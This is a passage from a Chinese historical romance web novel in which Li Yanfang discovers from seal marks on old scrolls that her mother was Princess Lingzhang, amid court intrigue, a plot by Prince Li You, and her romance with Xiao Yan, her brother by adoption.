“有印鉴,”他仔细辨认有些模糊的红泥印痕,“什么堂?”
不仅模糊,似乎还是不常见的字眼,这下又暴露萧偃才疏学浅的真面目了。
“拿来我看看。”安坐的李宴方心安理得地使唤他,就像爹娘还在时那般模样。
他听话地将把书画半卷,交给她,自己另外打开了一幅,这回不再是欣赏其上笔墨,而是敏锐地寻找起印鉴,果然如他所料,这一幅上也有相同的印鉴。
“缣……缃堂?”李宴方凝视红泥印鉴,那目光仿佛变成细密的针线,缝如破损的装裱中,“灵章郡主的书斋?听闻她当年的墨宝都以此为印,但并不署名。”
那位以文才闻名于世的郡主的落款?只不过郡主离世已久,她的墨宝早已佚散,难寻踪迹。
是李攸特意为阿姊寻来的?暗赞阿姊也有灵章郡主的才气?萧偃心如擂鼓,李攸当真擅长软硬兼施,一阵见血。
萧偃偷瞥李宴方,见她神色怔怔,他暗道李攸此举有效。
李宴方轻轻抚过印痕,她蓦地想起,许多年前阿娘在教授她书法时说起的事,这件事连阿弟也不曾知晓。
阿娘抱着她道:“在娘像你这么大的时候,闺阁女子虽然也能读书,但文名尚不可外传于俗世,她们往往以印鉴代署名落款,又或者以特别记号表明身份,特别是与闺中密友传信时,常用后者。”
“今时不同往日了,女子才名亦可外显,你长大后可以大大方方地以才华留名青史。”
那时李宴方尚不懂阿娘的惆怅遗憾,更不懂阿娘的期待渴盼,只是觉得与密友自有约定是一件极其有趣的事情,她仰起头问母亲:“那么阿娘的记号是什么?”
“是一只小狸猫!”她提笔三两下勾画出那一只小狸猫,活泼恣意,栩栩如生。
已为人母多年的黎茂宁流露出少时的鲜活与意气,仿佛回到与友人共同约定密钥的开怀时光。
狸猫,黎茂,黎茂宁。
酸涩涌上鼻尖,那般无忧的旧岁早已一去不复返,李宴方试图从回忆中抽身而退,可她情不自禁地问:她的阿娘当与灵章郡主年岁相当,阿娘当年是不是也参加过郡主的文会呢?
“阿姊,你怎么了?”
萧
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偃总是能第一时间发现她的情绪波动,李宴方眼角深处的一两点晶莹被他轻柔拭去。
他道:“阿姊若不喜欢这书画,便烧个干净。”
“你别胡闹了,”她摇摇头,“我没事,只是想起娘,娘走的时候交代我们把她的墨宝都烧去,如今见着别人的笔迹,发现连个念想都没有。”
可萧偃突然想起父亲的秘密,难道阿娘也有秘密,烧毁是为了刻意隐瞒?
他藏下疑惑,宽慰道:“我们念着她就好。”
李宴方定了定心神,打开卷轴,即是欣赏也是探究。
她仔细阅来,发现这一幅墨宝中并非只有一人字迹,而是一人书写后寄与另一个人观摩,灵章郡主就是观摩之人,郡主在卷后稍加点评,留下印鉴。
谁寄给灵章郡主的?
李宴方在书写点评的一小块区域发现玄机,那里藏着一座几笔勾勒出的小山。
小山?是郡主友人的密名?是谁?
李攸特意送来书画,事情到底是和郡主有关,还是和这座小山有关?
李宴方目光继续在卷中寻觅着蛛丝马迹,终于在友人起笔之处发现了奇异,像是一款独特的抬头。
她登时呆住,眼睛直愣愣地望,心脏直突突地跳,她难以置信地又看了一眼。
李宴方抬起手,仿佛有千斤重,她扛着千钧力道,缓缓轻抚那一个抬头,好确认它确确实实存在。
发黄卷纸上,用笔墨勾出的小狸猫似乎在这一刻活了起来,在她的指尖下亲昵地蹭来蹭去。
她徒然从圈椅上起身,动作太突然,撞到厚重的案桌,痛感从骨骼内传来,可阻拦不了她从锦盒中把所有卷轴取出的动作。
萧偃一愣,没拦住她。
李宴方一一打开,卷中字迹不同,书写内容各异,但相同的只有一件事,这几幅都是狸猫与小山之间的往来记录。
曾在记忆中留下一瞥的狸猫,以同样活泼恣意的姿态再度出现于李宴方视野中。
狸猫就是灵章郡主,黎茂宁实则为李茂宁?!
李宴方心头大震。
不对,娘的字迹和这上面的乍一看不同。
李宴方又去寻找书卷的落款,是太宗年间的落款,那时高宗尚未登基,已是二十多年前的事情,她也还没出生。
那时的字迹与多年后的字迹不同也情有可原,但最有可能的是,阿娘刻意改去旧时字迹?
李宴方回想起阿娘的才华,她与萧偃幼时都不必买书,靠的是阿娘出口成章,过目不忘。而她也从来没怀疑过,为什么平民出身的阿娘能像书香门第中的女子一样,才学渊博。
灵章郡主,真是阿娘?
约莫相同的年纪,同样的能书擅画,但除开书卷上的狸猫,没有别的证据,要李宴方如何确信这样一件彻底颠覆过往的事情?
萧偃不动声色地站在她身后,阿姊突然变得紧张,她大幅地喘息着,显然是在书画中发现了什么,他冷静地跟随她的目光,在陈旧的墨迹上寻觅。
“这位郡主的涂改之处倒是有些意思,几处改迹都是左旋。”萧偃凝望那一处墨团,留有自左起笔而画圈的印记。
有人横涂,有人竖涂,有人斜涂,旋涂少,而一如既往地左旋的更少。
李宴方豁然抬起头:“娘也是左旋涂。”
她转过身直视萧偃装着疑惑的双眼,一字一句道:“这位灵章郡主,极有可能是娘。”
屋外又下起了倾盆大雨,雨势又急又猛,冲刷着天地间的旧迹。
56. 旧事
雨势滔滔,如银河倾泻,丹楹刻桷的巍峨玉阙在一派雨帘中隐隐约约。
殿外风雨哗然,而殿中那名身着宽袍的妇人依旧不急不徐地打着太极,力带袖风,收放稳健。
太后冯峨深知若想久坐江山,康健体魄必不可少,但对于日理万机的太后而言,专程腾出时间强身健体实为难事。
于是就有了她一边养身健体,贴身内官一边替她朗诵政事之举。
殿内回荡着一阵从容沉稳的女声,诵音抑扬顿挫,奏事条理分明。
太后将拳势一收,虽无愠怒之容,但话中却藏讥讽:“议和之事尚未尘埃落地,北戎竟然大言不惭索要物资。”
方才内官禀奏的正是来自北戎“求援”消息。
据来报,北戎去岁至如今,遭逢酷寒干燥,草场枯黄,牛羊饥困,在天灾之下,争端已起,王叔率领部曲,叛出王都。
北戎王欲严惩叛贼,然心有余而力不足,人困马乏,唯有向大晟“购买”物资粮草,北戎王愿以十州为偿。
内官道:“北戎诡计多端,前有和亲,后有进购,虽皆以十州为诱,但从不见诚意,此番叛乱唯恐是假,实乃秣马厉兵之举。”
借大晟粮草,攻大晟城池。
“派去四州与边境司天官为何还不传回奏报?速去核查虚实。”
内官听闻,颔首应是。太后早已做足应战准备,让观察天象气候的官员前往,掌控全局。
太后略一沉吟:“那木拓小儿狼子野心,如今也该让他火烧眉毛。着人回应,北戎与我朝修好心诚,我朝亦以诚待之,北戎若有贼子反叛,我朝愿出兵相助,若北戎王亦有斩草除根之意,请派北戎能征善战的右王前来商议兵事。”
反将一军,让北戎内部自相纷争。
那木拓本为北戎在晟朝的唯一有权者,可若是再让北戎王派出一位悍将,调度北戎兵权,那王子与右王孰轻孰重?
如此一番,那木拓随时都有可能留居大晟成为质子,变作一步废棋,他已自顾不暇,安敢继续煽风点火?
此举过后,北戎求索之事,是真是假,便能初见端倪。
太后负手漫行至恢弘殿门前,远望雨中城阙,心思却飘至边境。
二次北征之时,天时地利人和之中不占天时、人和,最后只得铩羽而归。
而今十余年养精蓄锐之后,国帑丰裕,兵强马壮,又涌现名将,朝野振奋,然时机似乎总是差一点。
萧偃得胜之时在麟德殿上自报家门,太后虽震惊,但能断出姐弟二人并不知晓往事,而崇州萧家血案一出,她便知晓有人要将陈年旧事捅到姐弟二人跟前。
既然有人要翻出旧账,就说明有人就想颠覆她的统治,在这个节骨眼上北征绝不是明智之举,否则定然会陷入到二次北征时留下的泥泞车辙里。
朝内不安,怎攘外敌?
但真到那时候,萧偃还能不能为她所用,就不得而知了。
冯峨轻叹,皆是阴差阳错,这两个孩子啊……可她从不后悔当初没有斩草除根,正如不曾后悔当年所作所为一样。
惟愿来日,她的手中莫要沾了姐弟二人的血。
茂宁,我本不欲对不起你,但若是时局所迫,你莫怪我。
*
大晟开国皇帝高祖戎马征伐二十余年而定天下,登基后给亡故的父亲上庙号,是为世祖。
与此同时,高祖念其同母弟在平定江山时立下的汗马功劳,追封这一位在定国之前就战死沙场的幼弟为桓太子。
桓,辟土服远曰桓。此号亦作封号,后人袭爵桓王。
桓太子后人尤得高祖、太宗眷顾荣宠,然这一脉子息单薄,到太宗一朝时,王府内只有一位女儿,初封郡主,而后以文采斐然名动天下,赐号“灵章”。
侯府书房内,李宴方食指敲击桌案,与萧偃道出书画中的狸猫含义,她喃喃:“怎么会?若阿娘当真是郡主,那么阿爹的身份也能推断而出了。”
夫妻身份做不得假,尤其是二人相处十余年,且姐弟二人都看在眼里。
李宴方仍是不敢相信,假如娘亲有如此尊贵的身份,她们一家又怎么会长居于金桂巷多年?当年到底发生了什么事情,才能让郡主隐姓埋名?
萧偃显然也处在震惊之中,他顿了顿道:“灵章郡主的夫婿为卫骋,是一员猛将,曾驻守于崇州。”
卫骋为太宗时期的虎将,出身平平,少年成名,好战勇猛,有“斗将”之称。
“与你的猜测对的上。”
李宴方听他提及父亲似有实战经历,又听他提及崇州,心头一惊,崇州萧家?所以卫骋与萧父之间确有关联,才能定下托孤之约?
“二次北征时,卫骋受命出征,但那时春日逢雪,大军受阻。率军驰援的四皇子遭逢北戎将领所率兵马袭击,四皇子被生擒。”
“卫骋率人救援,北戎将领边战边退,卫骋心知不可纵虎归山,欲引弓射杀北戎将领,可没想到北戎将领以马背上的四皇子作为肉盾,四皇子因而身死。”
听萧偃这么一说,李宴方倒是想起人尽皆知的旧事,后来竟逢太宗驾崩,二次北征因此而遗憾收兵。
登基的三皇子便是高宗,他登基之后给四弟讨回公道,高宗心知卫骋并非心存故意,实乃战局莫测所致,但皇子终究死于卫骋手下,高宗不可不追究。
高宗念卫骋曾有战功,并未诛连,而是赐一杯毒酒,让征战沙场的将军死在了不见天日的牢狱之内。
而卫骋的发妻灵章郡主也在不久之后郁郁而终,另一说则为郡主殉情。
李宴方发问:“当时有人知晓灵章郡主的生育情况么?”
“灵章郡主远嫁崇州,多年不曾回京,她是否有儿女,一概不知。”
“不仅山高路远,恐怕是有人有心抹去旧事痕迹,”李宴方忧思沉重,“难道是当年有人刻意保下?是谁,是小山?小山当真有那么大的本事从高宗手中救人?”
萧偃突然道:“阿爹的官职做得天衣无缝,真是买的。”
他查过,一无所获,兴许当年陆朴也查过阿姊的身世,一样毫无漏洞,会合当年的事情有关?
李宴方道:“那么会不会是高宗自己做的局?若想收复失地,不仅要有猛将攻城略地,还少不得来日驻守防卫,为了大局,他暗中将人保下,并且安排好后路?”
萧偃点头:“确有可能,若真如此,也不怪乎能做得那么细致,并且逃脱追责。”
但这些终究是二人的猜测,半点证据也无。
李宴方凝望案上的几幅卷轴:“宋王差人送来这些,是知晓了你我的身世么?还是崇州萧家血案与他息息相关,所以他得到消息,前来暗示?他的目的究竟是什么?”
“可是……”她十分好奇,连她自己都无法确定阿娘的身份,难道李攸就能确定吗?就算这个身世为真,那么李攸又想利用其来做什么?
她道:“若是李攸赠画意在灵章郡主,大可搜罗郡主的各类墨宝,而这几幅无一例外都是郡主与小山的往来,是不是他的重点为小山?”
萧偃再度伏身于案前,仔仔细细扫过几幅书卷,纵然
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他不擅书法,但也能看出小山再与郡主往来时,用了几种字体书写。
这是很正常的事情,习字之人很可能擅长多种字体,而初学者更是可能尝试各种风格。
而时至今日,这位小山到底以何种字体定型,无人得知,甚至这位小山是否也和郡主一样离世,也不得而知。
李宴方亦冥思苦想而不得,这显然是李攸放出的一个大鱼饵,难道要她亲自去询问么?
不行,绝对不行。
可这位看似与母亲关系密切,常常互通书信的闺中密友究竟是谁?
母亲并没有再与她谈及更多的挑选密文的规则,李宴方不清楚这座山是因为小山喜欢山,还是曾居于山中,还是名字和母亲一样有谐音?
听闻灵章郡主交游甚广,她要如何一个个去排查推测?
萧偃走过来,开解她:“想不出就先别想,放着,等有时间再研究,现在阿姊当休息了。”
他很小人地想,或许李攸就是抛出一个直挠人心的问题,引得阿姊亲自去见他呢?
李攸到底知不知道阿姊的身世,知道阿姊是他的远房表妹,要亲上加亲?
阿姊不会想利用这一点去试探李攸吧?问一问他到底意在郡主,还是意在小山?
可真的去问不就着了他的道了?
李宴方长叹一声:“罢了,去歇着吧,这当也不是什么十万火急之事,要不然李攸早差人送来。”
因她心中忧思难解,加之撞过桌案后左腿有些隐隐作痛,不由得步伐迟缓,略带虚浮。
正是她心力交瘁,无暇顾及周围之时,突然被横抱而起,有一瞬间的天旋地转,但立刻落入一个安全温暖的怀抱。
“走得这样辛苦,我抱你。”
李宴方抬头,见他一出书房便带起面具,当真是作戏作全套,她因而有了一股异样的情绪,在“陌生人”怀里生了情愫。
“你的伤都好了?”
“嗯。”萧偃抱着她行走之时,步伐稳健,气息平稳,并非逞能。
她就这么由着他一路,光明正大地行走。
入东院,至卧室,他突然低声道:“若阿姊当真是天家血脉,我如今的身份也配得上了。”
怀中人嗤笑:“怎么如此在意这些?”
萧偃模仿这多年前李宴方那笃定从容的语气:“阿姊世俗,贪恋荣华富贵,他有,便嫁他。”
惟妙惟肖,连李宴方都不知道这么如实相告的一句话,竟然还能听出丝丝缕缕讥讽。
他今时今日大可理直气壮地道:“阿姊,如今我能给你的更多。”
什么荣华富贵,他也有,何况陆韫之充其量是个承袭爵位的二代,他的爵位可是他自个儿靠着血汗拼来的,哪一个更能为人称道、得人敬重,带出去更有面子,不必多说了吧?
李宴方只觉得好笑,他真的好小心眼儿,好记仇啊。
不过,这句话倒是让她听出些别的滋味,于是她松开搭在他宽肩上的手,食指中指并拢,从他的后颈缓缓抚下,探入衣领,带着一份说不清道不明的暧昧缱绻,柔声道:“哦,我知道。”
戴着面具脸骤然通红,他不知道燥红已瞬间烧至耳垂,彻底出卖了他,连忙狡辩:“我说的不是那个!”
她轻笑:“那我说的可以是那个。”
萧偃的脚步倏然变快,仿佛她是个烫手山芋似的,要急匆匆地抛出去。
捉弄他的李宴方不有丝毫愧疚感,如今的他还算是一张白纸,日后再想调戏可就没那么有趣了。
且戏且珍惜。
57. 名分
四月的雨足足下了整月,时而倾盆,时而淅沥,待到五月,青霄终露一方晴艳,不吝韶光。
五月初二这一天,趁着晴日风好,李宴方约好友赵凝清踏青。
郊外天地开阔,绿意遍野,只可惜连绵的雨把春花都打落,游人们少了几分观花的闲情。
“最近睡得可好?那玉枕好用么?”赵凝清缓步而前,顺势拂去垂条碧柳,漫不经心地一问。
与她并肩而行的李宴方顿在原地,又假装若无其事地跟上,这家伙真是哪壶不开提哪壶,她闷闷地反问:“你送的玉枕成双成对,要我先睡坏一个,再换另一个替上么?”
赵凝清乜了李宴方一眼,掩唇轻笑,顺着她的话说:“轮换着睡也不错,还能顺便练练铁头功。”
李宴方枕边无人,赵凝清心知肚明,可这玉辉堂里她看得上的就只有这一个样式,店家就是卖一对的,她又不能单买。
李宴方想起正事,速速转移话题,心知赵凝清出身于真正的书香门第,赵家藏书颇丰,几位长辈也都在诗词歌赋之上有造诣,那么这些长辈们是否知晓灵章郡主的事情,或者家中收藏有她的墨宝?
“前几日有人送我几幅灵章郡主的墨宝,到了还礼的时候,可不知道书画真伪……便不晓得选什么礼。”李宴方道。
赵凝清来了兴致:“谁送的?你放心,我一定保密。”
探究别人送的礼物是不是赝品,这也太过冒犯,李宴方这么问,她必然不会声张。
要的就是赵凝清这一句话,李宴方道:“你还是别知道是谁的好。”
“哦~~”赵凝清这一声抑扬顿挫,充满了看好戏的兴奋,“不会是宋王吧?他这可真叫投、其、所、好,那对玉枕不会要用上了吧!”
皱起眉头的李宴方推搡着她,无可奈何道:“别闹了,这真是正事儿,我不想得罪那人。”
她才不会把玉枕用到那儿去。
李宴方道:“我想,你家中若是有灵章郡主墨宝旧藏,是否能让我一观,对一对印鉴。以及,若是还能知晓些旧事,得知灵章郡主与那些闺秀交好就更好了。”
赵凝清噙住笑:“好好好,我知道是正事,改日回去一趟,美名其曰打扫书楼,若是有,我想办法弄出来给你瞧瞧。”
至于与灵章郡主交好的闺秀,赵凝清干脆去问问母亲好了。
李宴方点点头,送画一事过去好些时日,虽说前些日子有风雨作阻,但近来天晴,李攸也再无动作,看来对方不着急,又或者此事机要,李攸不愿意主动揭破,而是等待自己入局……
二人又闲话了些别的事,流光渐走,头顶阴云又至,城外踏青的游人皆有了打道回府之意,李宴方与赵凝清也携手奔至栓马停车之处。
毫无办法,接连下了一整月的雨,人人都成了惊弓之鸟。
果然大雨突来,城郊碧绿的叶在雨点砸落中发出清脆的响,密密匝匝,迅速地结成一片浩大的雨势。
雨水织就的巨幅珠帘从天而落,连两架相临停靠的车架之间都蒙上一层隐隐约约的水雾。
赵凝清踩着马杌上了车,拉开车帘,朝李宴方望去。
侍卫紫电撑着伞替李宴方遮挡风雨,而另一名脸带面具的侍卫正半跪于地,以双臂作阶,供李宴方踏上马车。
杌子坏了么?早知道把自己的借给她了。
赵凝清想,就算是最为纨绔的少爷,也知把人当踏子是作践人的举动,会遭口舌非议。
宴宴如此做当只是情急之下,不得已而为之吧。
转眼间,两名在车外的侍卫便披上蓑衣,驾着马准备离去。
赵凝清瞧着那位带面具的侍卫,身形怎么有些像萧偃?她暗自观察,李宴方说这一位新入职的侍卫面部受过伤,留下狰狞的疤痕,为了不碍人观瞻,便带着面具。
不会是萧偃假扮的吧?
可这儿游人众多,他大庭广众之下做如此卑微底下的举动,他一介王侯,豁得出这脸面,李宴方也不会答应。
疑惑就此种下,赵凝清在车中摇摇晃晃。
“咚!”
雨中一声闷响,赵凝清差点打了个趔趄,她询问道:“怎么回事?”
车夫回道:“夫人,雨水倾盆,山路太滑,车轮陷落,小人这就想办法。”
李宴方的车在她的车后,李宴方见状立刻派人上去帮忙,也顺道让赵凝清上了自己的车。
赵凝清安顿后望去,那名戴面具的侍卫果然也加入推车的行列中,风雨泥泞中,劳心劳力。
不久后赵家车夫来报,那车轮已坏,无法行走,为避免马车堵在半道上,几人合力将坏车移开,暂且放置于道旁。
事已至此,李宴方吩咐先将赵凝清送回家中,再打道回府,赵家的车夫护卫也随她的车一并回城。
车辙在雨中道上留下的痕迹一路蜿蜒,再被雨水冲刷,待到抵达目的地之时,暴雨淋漓已转为小雨绵绵。
赵凝清抵达时,恰好贺成洲也下值归家,两人便在门前与李宴方道别。
只是马车在离去后,贺成洲收回锐利的目光,对着赵凝清道:“那个侍卫有些古怪。”
“你也觉得?”
“嗯,不仅身形相似,连上马的动作都大差不离。”贺成洲清楚,这些小习惯最难改变。
不必说是谁,赵凝清明白,随即把那侍卫所作所为一一讲来。
贺成洲道:“我一回来便发现,幸好未曾试探,看来这其中有些门道。”
最开始,他远远见那人身披蓑衣头戴斗笠,有些眼熟,但距离一近,见那狰狞面具,当下便觉有些异样,他鹰眸扫过,那人暂避锋芒,低首作谦卑状,老实本分地在李宴方马车旁待命。
活脱脱一个尽职尽责的侍卫。
听闻萧偃在大猎中力搏猛虎,负伤而归,一直在府中静养,长久地不见来客,这倒让城中兴起些流言……
这是萧偃应对的一步吗?
贺成洲剑眉凝然,与赵凝清对视一眼,不过几息过去,他转而松开愁眉,柔声道:“走,先回家喝些驱寒姜汤,再换身衣裳,莫着凉。待天气转晴,我再派人去处理马车。”
他揽过赵凝清,二人一道回屋内去了。
*
屋内,温热的浴桶内水气氤氲,偶有水声清越。
能在大冷天下河洗澡的萧偃
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失去洗冷水浴的资格,李宴方念及他重伤初愈,在勒令之下,让萧偃好生泡了一晌的热水浴。
“阿姊啊,我可没那么弱不禁风。”萧偃对着听不到这话的人抱怨连连。
他背靠浴桶,将双臂伸展,悠然地搭在浴桶边缘,清透的水痕划过肌肉起伏的臂膀,向下坠入水中泛起涟漪,向上冒出丝丝缕缕的温热水气,发散而去,无人留意。
舒适的热水浴使人放松放空,他闭目浅歇,但在睡入黑暗的那一刻,脑海中蓦然浮现今日所见。
贺成洲那一眼仿佛要将他看透,只不过面对这一位颇有些交情的兄弟,还是无法据实以告。
不过能给他一份疑惑,这也足以证明他的伪装有效,接下来就是再散布些“谣言”,让外界对萧偃、对侍卫的探究欲望更浓烈。
他轻叹一声,不知这一局到什么时候才能终结。
没别的,萧偃突然想起他回头轻瞥的那一眼,贺成洲揽着赵凝清一同归家的情景。
如此平淡,如此温情,萧偃仿佛得以回溯过去的日月,眼见夫妻二人也是这般并肩与门前迎接来客,或携手返家。
萧偃没有,但贺成洲有,羡慕当真乃人之常情。
萧偃不由得嘲笑自己,上元夜时两人一同对书生发牢骚,可人家贺兄,不仅有名分,连麟儿都出世了,人家闹一闹,不过戏言。
而自己这边,八字没一撇的,纯是拈酸吃醋上了头,不晓得有什么好凑热闹的。
萧偃转过身,双臂交叠,趴在木桶边,轻叹一声,脑袋也不由得往一边偏去,如同失魂落魄的兽,狠厉森冷的眼瞳染上几分呆,几分空。
他与阿姊之间虽近在咫尺,可亦是相隔万里。
挫败陆朴与那木拓的阴谋诡计是一步,之后便是一场硬仗要打——伴随着那木拓的暴露,两国和谈的友好彻底被撕破,拿回十州势在必行。
狼烟四起,刀枪无眼。
生死难关横亘二人之间,变数太多,难以捉摸。
就算他有命得胜还朝,他与阿姊之间还有一道坎:阿姊在意的礼法人伦。
这是必须消除的阻碍,说简单,却也不简单,要合情合理,就要废一番周折。
萧偃甚至还没想好如何运作。
待一切处理完毕,二人才能成亲,守着悠长岁月。
“阿姊,你何时才给我名分?”既是问她愿与不愿,也是问她何时何日。
萧偃下巴搁在手臂上,他一低眉,就能瞧见麦色肌肤上停留的水珠,晶莹透亮的水珠瞬间勾起那一抹尚未远去的记忆。
他送阿姊回来时,一滴雨水沿着伞边坠落,如偷袭般悄然落在她的侧颈,缓缓滑下,已经濡湿的衣领就此隐藏这一枚水珠的去处。
想变成那一滴水,潜入,无声无息;然后再变成一片海,吞噬,浩大汹涌。
温热潮湿的浴房瞬间燥起来,他本洁身自好,可那些记忆犹新的亲吻成了一口沸锅上大张旗鼓浇淋的鲜香辣油,热上加热,从皮肤灼烧至血脉,引动心海内炽热的洪流。
“啪!”水花四溅。
他无可奈何地将搓澡巾拍入水中,就说这水不必那么烫!
58. 端午
时值端午,洛都城内四处飘扬着菖蒲艾叶的草木清香,宋王王府内也无例外,上上下下早在几日前就开始忙里忙外做角黍、挂菖蒲、做洒扫、备家宴……
主屋内却安静得如同被无形的幕帘切割出分明界限,李攸乌沉的眼眸扫过各家送来拜会的礼物,清雅玉容上闪过一分失落,没有舞阳侯府的。
书画送去已经十余日,李宴方毫无反应,她没看出来?今日的金澜池龙舟竞渡,他须得亲自去一趟,想方设法暗示她。
山,峨。
李攸怀疑当年父皇太宗驾崩之前颁下的那一道立三皇兄为皇储的圣旨为当时尚是王妃的冯峨所为。
太后冯峨多年前开始习各家笔法,擅模仿字迹,这些与灵章郡主的来往书信即为证据。
他的猜测在这些陈墨旧书中得到印证。
高宗帝位来路不明,妖妃祸国乱政,朝臣百姓被蒙蔽近二十年,今而当除之。
蛰伏已久的宋王李攸终于等到一个出师正名。
怀疑可以证实,不是用证据,而是用手段,用实力,也用运势。
时运已经逐渐垂青于他,从他的商号救下一位来自西南的驯兽师开始。
李攸虽然为避太后猜疑而不入朝堂,但他的母族经商多代,为一方大族,乃是他的强大靠山。
士农工商,商者地位低下,人尽皆知。
纵然家财万贯、钟鸣鼎食,亦无法在世家权贵面前抬起头。
李攸母家在大晟立国之后,想方设法将精心培养的家族女子送入宫中做妃嫔,求的不过是来日诞下拥有自家血脉的皇子,若皇子登基为帝,商家摇身一变成为皇亲,时日久了,迟早会与真正的世家无异。
而李攸就是这个家族等待多年的皇子,全家自然把筹码都压在他身上。
在太后治下,大晟修生养息,商业自然也发展繁荣。
商家实力与日俱增,但商家明面上因李攸之母出身旁支而与李攸疏离,背地里分号行商,遍布全国,它们互相竞争,也互相掩护,躲避各方耳目,为李攸起事备足钱粮。
商路广达,这一次发挥意外的作用。
那名西南驯兽师是跑江湖的人,也做些买卖,贩卖一些西南奇药至外地,与一家商号的人有所交情。
在洛都的贵客雇主要杀人灭口之时,驯兽师废九牛二虎之力假死逃脱,重伤濒死的驯兽师寻求商号庇护,那商号恰好也得知宋王遇袭之事,猜测二者有关联,便毫不犹豫救下驯兽师。
待驯兽师伤愈,他供出了有人要谋害舞阳侯之事。
消息被传入李攸耳中,作为差点目睹完整事件的李攸,几乎不费半点力气就猜出其中的关窍。
谋害之人与射杀自己的那木拓必有来往,这是私通外敌、谋害重臣的大罪。
他们迟早也要起事,否则一旦被追查,就是九族诛灭。
然通敌叛国之人,终将为世人唾弃,这是李攸黄雀在后、渔翁得利的良机。
接下来,李攸派人着手调查驯兽师供出的线索。
对方做得极为隐秘,可仍是让李攸的人找到扫不干净的尾巴,进而查到四和春楼。
巧的是,商号很清楚四和春楼是个官宦销赃之所,受贿官员将财物通过四和春楼内的交易,将黑钱“洗白”收入囊中,他们商号就是“浣衣人”。
凭借多年的良好合作关系,商号挖掘出四和春楼背后主导之人的身份碎片。
可线索就此中断。
李攸没有继续追究,而是试图捷足先登,获得舞阳侯手中的两千余兵马支持。
据驯兽师所言,大猎猛兽虽通过挑选,体格有限,但猛兽到底为猛兽,又用过药物,必然难以招架,且那日萧偃只剩一人而已,他还要护着李宴方,就算侥幸逃脱,也八成身受重伤。
萧偃月余未露面,是不是发生了什么?城中流言纷纷。
李攸唤来左右:“备车,去金澜池。”
他要“偶遇”李宴方,暗示小山的身份,试探侯府的虚实。
*
往年端午,李宴方在鄂国公府中殚精竭虑,操持大小事务,今年得了闲,她除开统筹算账之外,余下皆有照清等人帮忙。
且这个端午,不必过得太热闹,意思意思即可,萧偃已经派人放出风声,既然家中有人“出事”,那么这个节过得不会轻松,只会瞒着外界,糊弄些样子,所以李宴方交代照清不必尽心尽力。
加之今日金澜池有龙舟竞渡,她准备出门一趟,都说作戏要作全,让众人瞧瞧她心不在焉、魂不守舍的模样也好,进一步坐实萧偃出意外的猜测。
坐在妆镜前的李宴方打量镜中人,镜中人身披水绿襦裙,淡绿清雅柔和,髻上钗簪疏落,点缀几株珍珠琼花,眉间有黛笔扫不去的倦怠,眼下浮动似有似无的暗色,抹了些脂粉遮掩,浑是一幅精神不济的样子。
她轻声啧叹,自嘲与“披麻戴孝”过不去似的,去年冬深一身素雅,今年仲夏已至,还得裁出几身不沾浓色的衣裙来。
家中遭逢意外,她穿得鲜焕浓烈,要让外人如何相信流言?
照清替她梳妆完毕,默不作声地在一旁整理着妆奁,李宴方想起什么,交代着:“最近热起来了,今年气候不太寻常,你得空时派人去冰库里搜检一番,瞧瞧还剩多少冰,若是不够……今年得买。”
还得“小张旗鼓”地买。
恰是照清点头应是之时,屋外传来脚步声,照清面色如常,立刻退走,她已经了然且习惯——乡君内室不对萧侯设防。
“买冰,冰我的‘尸首’吗?”他行至她身后,勾起唇。
李宴方欲起身,不咸不淡道:“你知道就好,刚好家里有个地下密室,阴凉且不透风,用来……正合适。”
她本想说停灵,但那样直白,还带着不详意味的词语,她终究是无法像他那么坦荡地调侃而出。
生死无常,刀枪无眼,于萧偃而言,是家常便饭,是自嘲的玩笑,是重伤昏迷过来还能转头宽慰她一句“死不了”的不甚在意。
可于李宴方不同,是可预见的黑暗未来,是会揪痛脏腑的勾爪,是不愿意真正经历的无能为力与悲恸凄楚。
萧偃于镜中凝望她的深瞳,按在她肩上的手掌微微用力,正待起身的李宴方又
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坐了回去。
贴在肩头的手掌沿手臂而下,握住她的腕骨,萧偃转至她身侧,掏出一物。
红黄青白黑五色彩绳被结成一条漂亮精美的手链,长命缕,端午节时要佩戴的长命缕。
纷繁绚丽的色彩猝然闯入李宴方的视线,化作一缕轻柔的烟,钻入脑海,勾出一段尚且清晰的记忆。
上清观中,褪色发旧的长命缕被他不小心发现,在她生气、难堪的时候,她那一点小心思恰好被他撞破。
原来他是在这儿等着呢,她差点要收回被他握着的手。
萧偃没有给李宴方逃脱的机会,半蹲下来,替她系上,一如许多年前的那个端午。
可手中的长命缕更规整了,他的技法更精进了,他也更成熟了,彻底褪去青涩,粗糙的铁被锻成了锋。
萧偃还是如当年那般,说了同样一句话:“阿姊平安,我便平安。”
可这一句话,在她先前担忧之下,显然具备更深层的含义。
屋外日头逐渐升高,心头的暖意也随之涌起,她弯起嘴角:“明明我们家里也留不下什么东西,最后也只剩条长命缕作念想,我却还担心被人抢了去呢。”
话说出口时,已有些自嘲。
她小时候居然还想着占据家中全部的财产,这份“志向”无可厚非,可谁又能预料到,变故来得那么早,能留给她的也没剩什么。
萧偃顺势靠在她的大腿上,轻声道:“爹娘把一切都留给你,也包括我。”
他怎么就不算爹娘留下的遗物?他会是完完全全、彻彻底底属于她的。
李宴方垂下双眸,那对洪波涌起的眸子里既含柔情,也藏震撼,这一句随口而来的表白竟然将二人的缘起与纠缠悉数涵盖,她与他之间早就有了任何人都无法介入和改变的情缘。
萧偃仰起头,意味深长地望着她,问道:“若是当年阿爹把我接来,不让我做你阿弟,而是做咱们家的童养婿,那该有多好?”
她就不会为身份与感情的错位冲突而矛盾纠结,他也不用费尽心思赶走那些心怀鬼胎之人。
他就是爹娘给她挑的正牌夫君!
李宴方笑着拍他的脸颊:“想得倒是挺美,可要是我不喜欢你怎么办?”
“那可是父母之命,不喜欢也得喜欢。”
她揪着他的耳朵,低头佯骂:“这回真是引狼入室了。”
没有她预想中的据理力争,只有一个湿热的吻落在手腕上。
入夏时分,夏衫轻薄,轻轻掀去,敏感的皮肤上留下了真实而陌生的触感。
轻吻就似四月连绵的雨,缠缠绵绵,不停不歇,一路纠缠至手心,掌中的洼地被雨水浸泡,水迹蔓延,朝着四面八方渗透,最终流淌至指尖,将落未落。
十指连心,每一次亲吻带来的酥麻触感都会传过血肉,震颤着心房。
李宴方脊背瞬间挺直,身体变得紧张,双腿不自觉紧绷,她想让他停下。
但他拉着她起身,在她额头印下一吻:“阿姊,现在后悔未免太晚了呢。”
她一瞥窗外的日头,这龙舟赛该不会赶不上了吧?
59. 资格
车马行至金澜池外,车中人已能听闻园内锣鼓喧天,李宴方踩着马杌,扶着世安下车,她一抬头便远远望见金澜池畔人头攒动。
早在四月时,太后便示下,金澜池如往年惯例,举办龙舟大赛,禁军各司选派队伍,与民间报名参赛的船队一较高下,达到与民同乐的目的。
